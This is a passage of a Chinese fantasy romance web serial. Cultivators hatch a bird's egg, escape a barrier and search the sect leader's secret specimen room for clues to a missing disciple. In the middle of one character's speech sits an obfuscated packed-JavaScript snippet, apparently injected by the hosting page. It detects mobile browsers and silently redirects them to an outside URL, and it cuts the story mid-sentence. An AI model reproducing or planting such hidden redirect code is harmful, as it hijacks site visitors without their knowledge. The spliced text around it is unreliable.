他们在山谷中上上下下找了大半天,也没有发现一个人影。 颜清辞正站在高处望着湖心的草丛,那个叫李梓熙的女孩忽然扯了扯她的衣角,她反复确认了四下无人,才小声说: “颜前辈,有件事情,我觉得有点奇怪……” 傍晚十分,天空下起了沥沥小雨。一行人躲在树下,雨点仍穿过树叶的缝隙淋到他们身上。 颜清辞打开护身咒,才将雨彻底隔绝在屏障之外。 颜清辞的目光扫过每个人的脸,悠悠说:“鸟蛋被破坏,就是有人想致我们于死地,这个人不知道藏在哪里,但还有一种可能——” 她停顿了一下,目光定格在一个人脸上:“那就是,这个人,就在我们之中。” 在所有人错愕的注视下,颜清辞伸手抓住了曲铭的衣领。 他慌张地连连摆手,却又突然像失去意识似地,猛地晕了过去。 颜清辞将变得软绵绵的人翻了个身,在他背上、手臂上和腰上拍了三下,只见几张符纸浮了出来。 “傀儡术?” 莫君离说。 过了一会儿,那曲铭醒转过来,眼神迷茫地看了一圈在场的人,问:“这是哪里?” 李梓熙跑到他面前,仔细打量了一下他,说:“果然!你就是被夺舍了!” 曲铭困惑地问:“梓熙你在说什么呢?” 李梓熙笑道:“你明明最讨厌吃鱼了,昨晚居然说想吃烤鱼,那时候我便发现你不对劲了!” 颜清辞向一脸懵的曲铭解释道:“有人想要我们的命,就操控了你,偷偷把那两只蛊雕的蛋弄碎了。” 她说的时候,小心望了一眼远处的两只大鸟,生怕被它们听见。 萧衍沉声说:“此人能控制一个,就能控制更多人,我灵力受限,没办法每天不睡觉。 从现在开始,我、老林、老罗和莫君离我们四个轮流守夜,只剩一颗蛋了,要是再出什么问题,咱们就都等着喂鸟吧。” “要是你们四个也被控制了怎么办呢?” 颜清辞问。 “灵力高的人不容易被控制,颜作家,你倒是要小心一点。” 萧衍凑到她耳边,笑着说,“别担心,我会一直看着你的。” “别……你千万别看我……我害怕……” 颜清辞嫌弃地挪开脸。 用颜清辞血液滋养的蛊雕蛋内部越来越活跃,又过了七日,一只通体粉红的雏鸟破壳而出,发出了它鸟生的第一声鸣叫。 那雌雕慈爱地展开羽翅,将那小鸟揽在身侧,雄雕也振翅飞来,拿头蹭着自己的伴侣,发出温柔的呜咽。 颜清辞站在湖心的草丛,仰头看着这一家三口,既感到温馨,又顿觉自己多余,她对那双鸟说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122144|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “既然我替你们孵出了小鸟,那你们也该遵守承诺,送我们出去了吧。” 那雄鸟低鸣了几声,颜清辞答道:“没问题,出去之后,我会叫仙室山的人整改水质。” 那对鸟儿点点头,仰起脖子,朝着天空发出一串啼鸣,这回的和声竟丝毫不刺耳,反而十分动听。 此时,岸边的众人只感觉到身体之中一股热流涌动——他们的灵力恢复了。 一行人骑在雄雕背上出发,高空之中,风声在耳边呼呼作响,莫君离忽然指着下面,大声呼喊道:“看!结界裂口!” 顺着他手指的方向,只见笼罩着地面的一股烟气在某个位置明显裂了一个豁口。 巨鸟一个俯冲,顷刻间他们便降落到了地面。 从鸟背上爬下来,萧衍的脸色煞白,像喝醉酒似地站都站不稳。 “萧老板,你没事吧?” 颜清辞担忧地问。 “没事,他恐高。” 林朔在一旁淡定地说。 “哈哈哈,这世上竟然还有萧老师害怕的事。” 颜清辞忍不住笑了。 萧衍大口喘着气,摆着手求绕道:“让我缓缓……” 一行人回到御风门,虞子阳亲自出来迎接,他一脸欣慰地拍着莫君离的肩膀,说: “不愧是我的好徒儿,为师就知道你能行的。” “师父,咱们的印刷厂,污物排放都合规么?” 莫君离无视了他的彩虹屁,直接问出了犀利的问题。 “这个嘛……应该都合规吧……这事儿不归我管,是他们凡间部的责任。” 莫君离叹了口气,说:“行吧,想你老人家也不清楚,我明天自己去观里问问吧。” 四名小辈各自朝掌门行了礼,便退下了。 莫君离又对虞子阳说:“还有一位江渔眠师弟没找到,只在悬崖边上捡到了他的手机。” 虞子阳微微蹙眉:“这名字……哟,不就是蔺如风的那个……” “对,蔺长老回来了么?” “明天就回来。” 虞子阳摆摆手,语气轻快地转换了话题,“我会跟他说这事的,你们这几天辛苦了,今晚先好好休息一下吧。 上回时间仓促,这次刚好几位长老都在,明晚咱们一起吃个饭。” “师父,我们还是再回去找找吧……” “不差这一天,君离,你们也没什么线索,不如等见了如风长老,一起商量商量对策。” 虞子阳直接打断了莫君离的话。 从虞掌门处出来,萧衍冲颜清辞使了个眼色,她心领神会,对莫君离说:“莫先生,那我们就先回去休息了,你也歇着吧,有什么事明天再说。” 莫君离心事重重,轻轻“嗯”了一声便朝另一边去了。 待他走远,萧衍说:“你们也觉得这个虞掌门很有问题吧。” 颜清辞点点头:“很有问题。” 林朔说:“那就好好查一查。” 他们折返了虞子阳打坐的禅房——他日常办公的处所,念咒隐去身形,透过窗子偷看起来。 那虞子阳打了半天瞌睡,终于醒了。他打了个哈欠,喝了几口手边的茶水,站起身走到墙上挂着的一幅画前。 他四下看了看,从墙上揭下那幅画来,那画的后面,竟然有个壁龛,里面放着一尊紫檀木的小佛像。 他伸手拧了一下那佛像的底座,只见旁边墙上的巨幅书架缓缓移动,露出一个门洞来。 他朝着那漆黑的门洞走了进去,那书架在他进入的瞬间又缓缓移回原位。 “好老土的机关。” 萧衍冷冷吐槽了一句。 尽管看不见他的人,颜清辞也能想象他脸上那刻薄的表情。 “走吧,晚点再来看个究竟。” 话语间,她已经走出几米远,在暮色中现出身形。 入夜后,待虞掌门离开,四人组再次来到了靠近山顶的禅房,罗晟不知从哪里拿出一根发夹,三两下便撬开了房门。 “罗队长还有这一手!” 颜清辞叹为观止。 “明明用法术就行,他就爱整这套虚头巴脑的。” 萧衍说。 “你懂什么,这是传统艺能。” 罗晟不屑地看了他一眼,转开门把手,走了进去。 21.仙室迷踪(七) 他们照着虞子阳的样子,拿下了墙上的画,转动那尊佛像,书架果真缓缓移开了。 现出的门洞入口内是一条向下的楼梯,扶手上方的灯带微微亮起,一眼望不到楼梯的尽头。 感觉到书架再次发出声响,他们连忙走进去,“咔嚓”一声,书架在身后关闭,与墙面贴得严丝合缝。 罗晟走在最前头,萧衍断后,四个人缓步向下行进。 楼梯两旁的墙壁上挂着一幅幅画,风格各异,既有中式水墨,也有西式油画。 内容主题却出奇得一致——都是各种飞禽走兽,有的长得颇为怪异,甚至叫不出名字。 方才还好好蹲在颜清辞肩膀上的招财见了这些画,一个劲儿往她衣服里钻,却被萧衍一把拎了起来。 它抗议着挣扎了两下,忽然吱吱尖叫起来,四人组这才发现,那些画上的动物们的眼睛不知什么时候都亮了起来,齐刷刷往他们的方向看了过来。 头顶传来一阵风声,下一秒,箭矢如雨点般飞了下来。 颜清辞和林朔齐齐念出护身咒,箭矢被弹开的瞬间,却像是带走了一部分屏障上的灵力。 而后,那些箭像受了吸铁石的磁力作用一般,再次调转方向,又朝他们射来。 罗晟撑开无妄打掉那些穿透屏障的箭矢,大呼一声:“别开护身咒,这些箭吸了你们的灵力,防御就失效了。” 萧衍大手一挥,继续飞来的箭瞬时停在了半空。他大喊一声:“跑!” 四人飞快往楼梯下面跑去,他们终于跑到平地,身后传来络绎不绝箭矢射在墙面和地面上的声响。 四下一片漆黑,伸手不见五指。 萧衍正要在指尖擦亮照明咒,忽然听得楼梯上面传来几声异响——那不是箭的声音,倒像是——脚步声。 所有人都站在原地,屏息凝神。那脚步声越来越近,那人走到楼梯时,罗晟举起无妄挥了过去,长棍正架到来人的脖子上。 “你们在这里干嘛?” 一个熟悉的声音响起。 萧衍点燃照明咒,他们看清了来人的脸——正是莫君离。 “来看看你师父在这里藏了什么见不得人的东西。” 他略带嘲讽地说。 “你们怀疑我师父?” “这不是明摆着的么?你既然跟我们到这儿了,难道就没有一点怀疑过他么?” 莫君离沉默了,顿了片刻才说:“就算我师父藏了什么,也并不能证明他就和这次的失踪案有关联吧。” “那就得看看,他到底在这里,藏了什么了。” 萧衍转过身一抬手,照亮了整个地下室。 他们听见招财再次尖叫出声——三面墙上挂着的,满满当当,全都是动物的标本。 山猫野兽倒也罢了,竟还有如鹰隼一般大的黄蜂和飞蛾,那巨大的昆虫身上遍布绒毛,腿上的尖刺根根分明,看得颜清辞头皮发麻,捂着嘴低下头去。 萧衍上前搂了搂她的肩膀,安慰道:“都是死的,别害怕。” 他才说完这一句,像是触发了什么咒语似的,墙壁发出一阵诡异的振动,一眨眼的功夫,墙上的标本——竟然都活了! 飞禽走兽从固定它们的架子上挣脱开来,朝五人扑了过来。 所有人都做好了迎战的准备,不过是一些被操控的傀儡,用法术三两下便可击退,只是反反复复上来骚扰,却也很令人心烦。 那黄蜂同那蛾子,好巧不巧,偏偏向着颜清辞扑棱着翅膀飞了过来。她此时什么也顾不上了,死死抓着萧衍的衣服钻进他怀里。 她的声音几乎带着哭腔:“虫……虫子!” 萧衍转了个身,挡在她和那两头巨型飞虫之间,一手轻抚她的后背,一手抛出一个灵力织就的网,将那虫子网在里面。 “颜作家你怕虫子啊。” “你……你快把它们弄走!” “抓住了,它们不会过来的。” “弄走,弄走!” 她的叫声带着哭腔。 萧衍笑了,颜清辞竟然也有无理取闹的时候,别说,还挺可爱。 他手心点燃一团火,正预备将那僵尸虫烧成灰,只听得楼梯口一个声音大喝一声。 “哎哟喂我的祖宗诶!别烧我的宝贝!” 萧衍到底还是停了手,众人往声音的方向看去,虞子阳正抱着脑袋站在楼梯口,一副心梗发作的模样。 他一挥手,所有标本又老老实实回到了它们原来的位置。 “你们这些孩子,大半夜的不睡觉,来我这里干什么呀!” 他打开房间的灯,抱怨道。 “师父,你在这里藏着这些东西做什么?” 莫君离问。 “臭小子,人还不能有一些兴趣爱好了?这些可都是我全世界各地搜罗来的奇珍异兽,你们差一点就给我全霍霍了!” 他绕着房间仔仔细细查看起每一尊标本,确认它们是否还完整。 “你真的和失踪案没关系?” 萧衍语气和缓地问道。 此时的颜清辞仍心有余悸地挨着他,他心情简直好到了极点。 “当然!我还能害我自己门下的弟子?” “可是师父你心实在有些太大了,很难让人不怀疑。” 莫君离终于说出了在心里憋了许久的大实话。 虞掌门不屑一顾地“切”了一声,说:“为师是不是说了给你们卜过卦了?你以为我是诓你呢?既然好徒儿你就能把事干成了,我还操那个心干嘛呢?” 他又看了一眼四人组,说:“咱们御风门的卦术,诸位想必也是有所耳闻吧,那个江渔眠,卦象上说了,他没有生命危险,只是暂时还回不来,所以我就不让你们去做这无用功了。” 他又深深叹了口气,说:“哎……瞧瞧现在的年轻人,对老前辈那是一点信念感都没有!网上那句话怎么说来着……啊对,倒反天罡了属于是!” “虞掌门你还挺赶时髦啊。” 萧衍笑道,“只是,我们在结界之中时,确实有人试图用傀儡术致我们于死地,这些弟子误闯禁地,很可能不是巧合,而是有人故意为之。” 虞子阳的神情忽然严肃了几分,道:“既是有人刻意设局,那自然不想被人识破,如今你们平安归来,此人一定会想要尽力遮掩,我们在明,敌人在暗,自然要谋定而后动。” 萧衍衍转过脸背着他朝颜清辞他们做了个鬼脸,意思是: 好一个废话文学大师,看似高深地讲的全是没用的。 他们从虞子阳的秘密藏宝室出来时,已近零点。 颜清辞看着头顶的月亮,轻轻叹了口气,说:“这么一折腾,根本睡不着了。” 她像是想起了什么似的,兴奋地拍了拍一旁的莫君离,问:“莫先生你们御风门的图书馆藏书甚广,就是不知道这个点还能不能去看书啊?” “可以啊,你要是想去,我让他们别拉电闸就是了。” 莫君离笑道,“我也一点都睡不着,不如我们一起去看书?” “好啊!” 颜清辞难掩激动的心情,她转向林朔,问,“林先生,你们去不去?” 罗晟抢先说了一句“不去了”,林朔则瞟了一眼萧衍,微微一笑说自己有点累。 萧衍这会儿脸上已经完全不见了笑容,他不悦地问:“你为什么单问林朔,不问我?” “我不是问了‘你们’么?再说,我想萧老板你多半不爱……” “我爱看书!” 萧衍信誓旦旦地打断了颜清辞的话,“我也想去,通宵看书嘛,我最喜欢了。” 三个人来到足足七层宏伟的图书馆,直奔顶层的术法书专区。 萧衍才坐下没十分钟,便抱着书火速睡着了。 简直难以想象,一个在野外可以三四天不合眼的人,竟然能被知识如此轻易地催眠。 萧衍醒来的时候,阳光已经从窗外照了进来。颜清辞和莫君离仍在聚精会神地读着手里的书,他们各自面前的笔记本上都写满了字。 “哟,天都亮了。” 他伸了个懒腰。 两人抬头看了看他,脸上都带着一丝强行压抑的笑。 “萧老板真是一夜好眠啊。” 颜清辞说。 他看这两个人的表情,顿觉不对,把脸凑近窗玻璃,试图照出自己的面容。 颜清辞咯咯笑着掏出随身镜举到他面前,他看见镜子里的自己。脸上画满了图案。 “怎么有那么多只猪?” 颜清辞笑着说:“都是我画的,我只会画猪。” 听了这话,萧衍愣了一下,看着她的眼神闪过一丝复杂的情愫。 不过他很快恢复了正常,抓起桌上的马克 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气氛一时降至冰点,虞掌门连忙打起圆场:“来来来,今天难得几位长老都在,玄境门的几位客人也刚好驾临,咱们不要这么拘着嘛,大家该吃吃、该喝喝,热热闹闹才是。” 坐在他身边的一名长老也举起酒杯加入了气氛组:“是啊是啊,掌门说得好,我先敬大家一杯!” 说着,他便一口干掉了杯中的白酒。 在场其他人这时也纷纷应和,酒桌上的氛围总算热络了起来。 颜清辞酒量一般,长老们念她是小辈,又是女孩,自然不会用力劝她喝酒。 那几个男人们就不一样了,萧衍、林朔、罗晟和莫君离都被一杯接着一杯地灌。 散席的时候,林朔已经趴在桌上起不来了; 罗晟冲去厕所至今未归; 莫君离倒是没倒下,坐在那儿含含糊糊背起了《道德经》; 萧衍的酒量深不可测,此时却也有了几分醉意,他注视着颜清辞,说话的语速比平时慢了一些,口齿依旧很清晰。 “颜作家,你还行吗?” “我没喝多少。” 颜清辞用肘推了推他,小声问,“萧老板,你还清醒着吗?” 萧衍点点头,说:“嗯。” “38加55等于几?” 萧衍笑了笑,不假思索地答道:“93。” 没想到他答得如此之快,颜清辞愣了愣,甚至自己算了一遍,才道:“我有话跟你说。” 她领着他走到外面,这个时节夏季已近尾声,山里的夜竟含了几分凉意。 “萧老板,我刚才有一个发现……” 她凑到他耳边,说了几句话。 “这事你怎么不跟那个莫君离说?你们不是关系很好么,还一起通宵看书?” 萧衍多少有些阴阳怪气地说。 颜清辞只觉得莫名其妙:“他都醉迷糊了,跟他说有用吗?” “哦,所以还是我比较厉害?” “不知道你在说什么……” 颜清辞白了他一眼,说,“我跟你说正事呢,你倒是说说看,现在怎能办?” 萧衍思索片刻,说:“既然要捉鬼,那最好的办法,就是让他自己现原形。” 一行人睡到第二天中午才起,莫君离醒来的时候,甚至发现自己睡在罗晟床上。 这俩人都断了片,完全想不起来昨晚酒过三巡后发生了什么。 后来还是在餐厅碰到萧衍和颜清辞,才被告知,原来是莫君离主动请缨要将卧倒在厕所门口的罗晟背回房间。 结果给人送到了,自己也就地睡着了。 颜清辞兴奋地拉过宿醉的三人,分享了她和萧衍的新计划。 莫君离听完,点点头说:“长老们今天应该都在若水斋跟我师父开会呢,一会儿我带你们去。” 他们吃完早餐,跟着莫君离来到若水斋,昨晚酒桌上的几位长老果然都在。 “打扰各位开会了,有件事,我得跟我师父禀报。” 莫君离恭恭敬敬地说。 虞子阳大剌剌地说:“这么着急,那你快说吧。” 莫君离假装顾虑地看了一眼在场的长老们,虞子阳爽朗一笑,道:“没事,在坐都是自己人,有什么事你就说吧。”